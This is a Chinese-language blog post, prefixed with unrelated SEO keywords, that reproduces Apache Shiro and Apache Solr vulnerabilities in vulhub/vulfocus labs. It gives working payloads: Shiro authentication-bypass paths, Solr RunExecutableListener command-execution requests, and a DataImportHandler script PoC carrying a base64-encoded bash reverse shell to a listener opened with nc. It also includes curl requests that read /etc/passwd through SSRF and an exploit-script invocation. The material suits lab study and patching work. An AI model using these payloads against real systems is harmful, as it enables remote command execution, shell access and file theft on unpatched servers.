山东省建设工程招标中心网站,海口网站优化,ai人工智能写代码,中山做网站企业文章目录 服务攻防-框架安全CVE 复现Apache ShiroApache Solr漏洞复现中间件列表常见开发框架Apache Shiro-组件框架安全暴露的安全问题漏洞复现Apache Shiro认证绕过漏洞#xff08;CVE-2020-1957#xff09;CVE-2020-11989验证绕过漏洞CVE_2016_4437 Shiro-… 文章目录 服务攻防-框架安全CVE 复现Apache ShiroApache Solr漏洞复现中间件列表常见开发框架Apache Shiro-组件框架安全暴露的安全问题漏洞复现Apache Shiro认证绕过漏洞CVE-2020-1957CVE-2020-11989验证绕过漏洞CVE_2016_4437 Shiro-550 CVE-2019-12422 Shiro-721 漏洞复现 Apache Solr-组件框架安全披露的安全问题漏洞复现Apache Solr 远程命令执行漏洞CVE-2017-12629任意文件读取命令执行CVE-2019-17558远程命令执行漏洞(CVE-2019-0193)Solr 任意文件读取 SSRF CVE-2021-27905 服务攻防-框架安全CVE 复现Apache ShiroApache Solr漏洞复现
中间件列表 中间件及框架列表 IISApacheNginxTomcatDockerK8sWeblogicJBoosWebSphereJenkins GlassFishJettyJiraStruts2LaravelSolrShiroThinkphpSpringFlaskjQuery 等 常见开发框架 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Node.js-JQuery 5、其他框架-Java-Apache ShiroApache Sorl 常见语言开发框架 PHPThinkphp Laravel YII CodeIgniter CakePHP Zend 等 JAVASpring MyBatis Hibernate Struts2 Springboot 等 PythonDjango Flask Bottle Turbobars Tornado Web2py 等 JavascriptVue.js Node.js Bootstrap JQuery Angular 等 Apache Shiro-组件框架安全
详解shirojava安全框架
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
暴露的安全问题 Apache Shiro 1.2.4 默认密钥致命令执行漏洞[CVE-2016-4483] Apache Shiro 1.3.2 验证绕过漏洞[CVE-2016-2807] Apache Shiro 1.4.2 cookie oracle padding 漏洞 [CVE-2019-12442] Apache Shiro 1.5.2 验证绕过漏洞 [CVE-2020-1957] Apache Shiro 1.5.3 验证绕过漏洞 [CVE-2020-11989] Apahce Shiro 1.6.0 验证绕过漏洞 [CVE-2020-13933] Apahce Shiro 1.7.1 权限绕过漏洞 [CVE-2020-17523] … 漏洞复现
Apache Shiro认证绕过漏洞CVE-2020-1957 Apache Shiro 是一个功能强大且易于使用的 Java 安全框架可执行身份验证、授权、加密和会话管理。 在 1.5.2 之前的带有 Spring 动态控制器的 Apache Shiro 版本中攻击者可以使用来构建恶意构建的请求从而绕过目录身份验证。..; 影响范围Apache Shiro 1.5.3 靶场vulhub
参考Apache Shiro认证绕过漏洞CVE-2020-1957复现 开启环境 访问web界面 对管理页面的直接请求是不可访问的将被重定向到登录页面。/admin/ 构建恶意请求以绕过身份验证检查并访问管理页面。
payload/xxx/..;/admin/
http://you-ip:8080/xxx/..;/admin/CVE-2020-11989验证绕过漏洞
将Apache Shiro与Spring控制器一起使用时特制请求可能会导致身份验证绕过。
靶场vulfocus
开启环境 访问web界面 Poc/admin/%20
影响范围Apache Shiro 1.7.1
环境可能存在问题没能跳转绕过。可使用github上的项目进行测试。
项目地址shiro-cve-2020-17523
下载完成过后构建即可。具体可参考说明文档。
CVE_2016_4437 Shiro-550 CVE-2019-12422 Shiro-721 漏洞复现
漏洞原理以及复现过程
shiro反序列化漏洞Shiro-550/Shiro-721反序列化
Apache Solr-组件框架安全
详解Solr详解 Apache Solr 是一个开源的搜索服务使用 Java 语言开发主要基于 HTTP 和 Apache Lucene 实现的。Solr 是一个高性能采用 Java5 开发基于 Lucene 的全 文搜索服务器。 Solr是一个独立的企业级搜索应用服务器它对外提供类似于Web-service的API接口。用户可以通过http请求向搜索引擎服务器提交一定格式的XML文件生成索引也可以通过Http Get操作提出查找请求并得到XML格式的返回结果。 披露的安全问题 远程命令执行 RCECVE-2017-12629 远程命令执行 XXECVE-2017-12629 任意文件读取 AND 命令执行CVE-2019-17558 远程命令执行漏洞(CVE-2019-0192) 远程命令执行漏洞(CVE-2019-0193) 未授权上传漏洞(CVE-2020-13957) Apache Solr SSRF (CVE-2021-27905) … 漏洞复现
Apache Solr 远程命令执行漏洞CVE-2017-12629 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。 此次7.1.0之前版本总共爆出两个漏洞XML实体扩展漏洞XXE和远程命令执行漏洞RCE二者可以连接成利用链编号均为CVE-2017-12629。 环境vulhub
参考CVE-2017-12629-RCE复现
开启环境 访问web界面 利用
首先创建一个listener其中设置exe的值为我们想执行的命令args的值是命令参数
//数据包内容
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 161{add-listener:{event:postCommit,name:newlistener,class:solr.RunExecutableListener,exe:sh,dir:/bin/,args:[-c, touch /tmp/rumilc.txt]}}然后进行update操作触发刚才添加的listener
//数据包内容
POST /solr/demo/update HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Type: application/json
Content-Length: 15[{id:test}]验证
docker ps 查看容器id
docker exec -it 容器id bash成功创建 可将命令换成反弹shell命令进行反弹shell逻辑思路不变命令需要进行base64编码。
任意文件读取命令执行CVE-2019-17558 Solr 是基于 Apache LuceneTM 构建的流行、超快的开源企业搜索平台。 Apache Velocity是一个基于Java的模板引擎它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目旨在确保Web应用程序在表示层和业务逻辑层之间的隔离即MVC设计模式。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能利用Velocity-SSTI漏洞在Solr系统上执行任意代码。 靶场vulfocus
开启环境 访问web界面 手工复现参考通过 Velocity 自定义模板的 Apache Solr 远程代码执行
脚本工具EXP地址
脚本一步到位命令执行
python2 solr_rce.py http://192.168.100.134:14226 idpython2 solr_rce.py http://192.168.100.134:14226 whoami读取/查看文件
python2 solr_rce.py http://192.168.100.134:14226 cat /etc/passwd远程命令执行漏洞(CVE-2019-0193)
Apache Solr 8.2.0 版本 Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在Apache Solr的DataImportHandler该模块是一个可选但常用的模块用于从数据库和其他源中提取数据。 它具有一个功能其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本因此攻击者可以通过构造危险的请求从而造成远程命令执行。 靶场vulhub
参考Apache Solr 远程命令执行漏洞CVE-2019-0193复现 开启环境 访问web界面 刚上来需要进行登录需要登录之后的状态才可以。
执行命令
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db命令执行成功后需要等待一会之后访问即可查看到Apache solr的管理页面无需登录。 接下来首先打开刚刚创建好的核心选择Dataimport功能并选择debug模式 填入以下POCtest
dataConfigdataSource typeURLDataSource/script![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec(touch /tmp/rumilc.txt);}]]/scriptdocumententity namestackoverflowurlhttps://stackoverflow.com/feeds/tag/solrprocessorXPathEntityProcessorforEach/feedtransformerscript:poc //document
/dataConfig点击Execute with this Confuguration执行 执行过后等待一下 验证
docker ps
docker exec -it 容器id bash成功创建 可将命令换成反弹shell命令需要进行base64编码尝试反弹
sh -i /dev/tcp/192.168.100.1/8888 01
编码后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDAJjE}|{base64,-d}|{bash,-i}POC
dataConfigdataSource typeURLDataSource/script![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec(bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDAJjE}|{base64,-d}|{bash,-i});}]]/scriptdocumententity namestackoverflowurlhttps://stackoverflow.com/feeds/tag/solrprocessorXPathEntityProcessorforEach/feedtransformerscript:poc //document
/dataConfig监听端开启监听
nc -lvvp 8888执行过后稍等一下 成功反弹shell Solr 任意文件读取 SSRF CVE-2021-27905
Apache Solr 是一个开源搜索服务器。该漏洞是由于没有对输入的内容进行校验攻击者可利用该漏洞在未授权的情况下构造恶意数据执行SSRF攻击最终造成任意读取服务器上的文件。当 Apache Solr 不启用身份验证时攻击者可以直接构建请求以启用特定配置并最终导致 SSRF 或任意文件读取。
靶场vulhub
参考Apache Solr RemoteStreaming 任意文件读取和 SSRF
开启环境 访问web界面 利用
//首先访问提取数据库名称
http://your-ip:8983/solr/admin/cores?indexInfofalsewtjson发送如下请求修改数据库配置启用demo RemoteStreaming
//数据包如下
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80{set-property:{requestDispatcher.requestParsers.enableRemoteStreaming:true}}发送数据包 然后通过以下方式读取任意文件stream.url
//curl -i -s -k http://your-ip:8983/solr/demo/debug/dump paramContentStreamsstream.urlfile:///etc/passwdcurl -i -s -k http://your-ip:8983/solr/demo/debug/dump?paramContentStreamsstream.urlfile:///etc/passwd成功读取 查看组信息
curl -i -s -k http://your-ip:8983/solr/demo/debug/dump?paramContentStreamsstream.urlfile:///etc/group其他开发框架安全问题以及漏洞复现可参考 框架安全-CVE 复现SpringStrutsLaravelThinkPHP漏洞复现 框架安全-CVE 漏洞复现DjangoFlaskNode.jsJQuery框架漏洞复现